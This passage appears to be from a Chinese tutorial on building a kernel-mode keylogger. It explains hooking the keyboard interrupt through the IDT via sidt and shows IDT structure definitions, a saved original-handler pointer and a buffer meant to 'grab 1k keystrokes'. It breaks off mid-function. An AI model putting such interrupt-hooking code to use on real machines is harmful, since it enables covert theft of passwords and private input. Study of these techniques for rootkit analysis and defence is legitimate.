上一篇有讲到怎样利用键盘控制芯片的端口去控制键盘,但是仅仅利用定时器来实现键盘的控制是非常浪费时间的。所以我们应该换一种方式,比如说挂钩键盘击键事件的中断。整整个中断的挂钩我们在前面已经分析过了,这里将其和上一篇整合。首先利用sidt指令将键盘击键事件的中断处理事件进行挂钩,将我们的函数放入击键处理函数当中使得中断的时候调用我们的函数。然后跳转到原来的中断处理函数进行真正的中断处理。源代码如下:
#pragma pack(1)
typedef struct
{
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4; //0x0E is an interrupt gate
unsigned char system_segment_flag:1;
unsigned char DPL:2; // descriptor privilege level
unsigned char P:1; /* present */
unsigned short HiOffset;
} IDTENTRY;
typedef struct
{
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HiIDTbase;
} IDTINFO;
#pragma pack()
unsigned long old_ISR_pointer; // better save the old one!!
unsigned char keystroke_buffer[1024]; //grab 1k keystrokes
int kb_array_ptr=0;
ULONG WaitForKeyboard()
{
char _t[255];
int i = 100; // number of times to loop
U